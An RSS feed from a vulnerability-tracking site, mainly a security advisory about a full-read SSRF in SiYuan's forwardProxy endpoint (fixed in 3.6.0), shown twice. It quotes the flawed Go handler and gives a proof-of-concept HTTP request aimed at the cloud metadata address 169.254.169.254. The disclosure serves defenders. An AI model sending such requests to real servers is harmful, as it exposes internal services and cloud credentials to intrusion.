<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sun, 18 Oct 2026 08:57:29 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-275717</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-275717</link>
      <description>EUVD-2026-275717</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-275717</guid>
    </item>
    <item>
      <title>fkie_cve-2026-32110</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-32110</link>
      <description>&lt;p&gt;SiYuan is a personal knowledge management system. Prior to 3.6.0, the /api/network/forwardProxy endpoint allows authenticated users to make arbitrary HTTP requests from the server. The endpoint accepts a user-controlled URL and makes HTTP requests to it, returning the full response body and headers. There is no URL validation to prevent requests to internal networks, localhost, or cloud metadata services. This vulnerability is fixed in 3.6.0.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;SiYuan is a personal knowledge management system. Prior to 3.6.0, the /api/network/forwardProxy endpoint allows authenticated users to make arbitrary HTTP requests from the server. The endpoint accepts a user-controlled URL and makes HTTP requests to it, returning the full response body and headers. There is no URL validation to prevent requests to internal networks, localhost, or cloud metadata services. This vulnerability is fixed in 3.6.0.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-32110</guid>
    </item>
    <item>
      <title>GHSA-56cv-c5p2-j2wg — SiYuan has a Full-Read SSRF via /api/network/forwardProxy</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-56cv-c5p2-j2wg</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/siyuan-note/siyuan/kernel&lt;/p&gt;
&lt;p&gt;### Summary
The `/api/network/forwardProxy` endpoint allows authenticated users to make arbitrary HTTP requests from the server. The endpoint accepts a user-controlled URL and makes HTTP requests to it, returning the full response body and headers. There is no URL validation to prevent requests to internal networks, localhost, or cloud metadata services.&lt;/p&gt;
&lt;p&gt;### Affected Code
File: `/kernel/api/network.go` (Lines `153-317`)
```
func forwardProxy(c *gin.Context) {
    ret := gulu.Ret.NewResult()
    defer c.JSON(http.StatusOK, ret)&lt;/p&gt;
&lt;p&gt;arg, ok := util.JsonArg(c, ret)
    if !ok {
        return
    }&lt;/p&gt;
&lt;p&gt;destURL := arg[&amp;#34;url&amp;#34;].(string)
    // VULNERABILITY: Only validates URL format, not destination
    if _, e := url.ParseRequestURI(destURL); nil != e {
        ret.Code = -1
        ret.Msg = &amp;#34;invalid [url]&amp;#34;
        return
    }&lt;/p&gt;
&lt;p&gt;// ... HTTP request is made to user-controlled URL ...
    resp, err := request.Send(method, destURL)
    
    // Full response body is returned to the user
    bodyData, err := io.ReadAll(resp.Body)
    // ...
    ret.Data = data  // Contains full response body
}
```
### PoC
- First, authenticate with your access auth code and copy the authenticated cookie.
- Now use the request below for SSRF to Access Cloud Metadata.
```
POST /api/network/forwardProxy HTTP/1.1
Host: &amp;lt;HOST&amp;gt;
Cookie: siyuan=&amp;lt;COOKIE&amp;gt;
Content-Length: 102&lt;/p&gt;
&lt;p&gt;{&amp;#34;url&amp;#34;:&amp;#34;http://169.254.169.254/metadata/v1/&amp;#34;,&amp;#34;method&amp;#34;:&amp;#34;GET&amp;#34;,&amp;#34;headers&amp;#34;:[],&amp;#34;payload&amp;#34;:&amp;#34;&amp;#34;,&amp;#34;timeout&amp;#34;:7000}&amp;#39;
```
&amp;lt;img width=&amp;#34;1230&amp;#34; heig…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/siyuan-note/siyuan/kernel&lt;/p&gt;
&lt;p&gt;### Summary
The `/api/network/forwardProxy` endpoint allows authenticated users to make arbitrary HTTP requests from the server. The endpoint accepts a user-controlled URL and makes HTTP requests to it, returning the full response body and headers. There is no URL validation to prevent requests to internal networks, localhost, or cloud metadata services.&lt;/p&gt;
&lt;p&gt;### Affected Code
File: `/kernel/api/network.go` (Lines `153-317`)
```
func forwardProxy(c *gin.Context) {
    ret := gulu.Ret.NewResult()
    defer c.JSON(http.StatusOK, ret)&lt;/p&gt;
&lt;p&gt;arg, ok := util.JsonArg(c, ret)
    if !ok {
        return
    }&lt;/p&gt;
&lt;p&gt;destURL := arg[&amp;#34;url&amp;#34;].(string)
    // VULNERABILITY: Only validates URL format, not destination
    if _, e := url.ParseRequestURI(destURL); nil != e {
        ret.Code = -1
        ret.Msg = &amp;#34;invalid [url]&amp;#34;
        return
    }&lt;/p&gt;
&lt;p&gt;// ... HTTP request is made to user-controlled URL ...
    resp, err := request.Send(method, destURL)
    
    // Full response body is returned to the user
    bodyData, err := io.ReadAll(resp.Body)
    // ...
    ret.Data = data  // Contains full response body
}
```
### PoC
- First, authenticate with your access auth code and copy the authenticated cookie.
- Now use the request below for SSRF to Access Cloud Metadata.
```
POST /api/network/forwardProxy HTTP/1.1
Host: &amp;lt;HOST&amp;gt;
Cookie: siyuan=&amp;lt;COOKIE&amp;gt;
Content-Length: 102&lt;/p&gt;
&lt;p&gt;{&amp;#34;url&amp;#34;:&amp;#34;http://169.254.169.254/metadata/v1/&amp;#34;,&amp;#34;method&amp;#34;:&amp;#34;GET&amp;#34;,&amp;#34;headers&amp;#34;:[],&amp;#34;payload&amp;#34;:&amp;#34;&amp;#34;,&amp;#34;timeout&amp;#34;:7000}&amp;#39;
```
&amp;lt;img width=&amp;#34;1230&amp;#34; heig…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-56cv-c5p2-j2wg</guid>
    </item>
  </channel>
</rss>
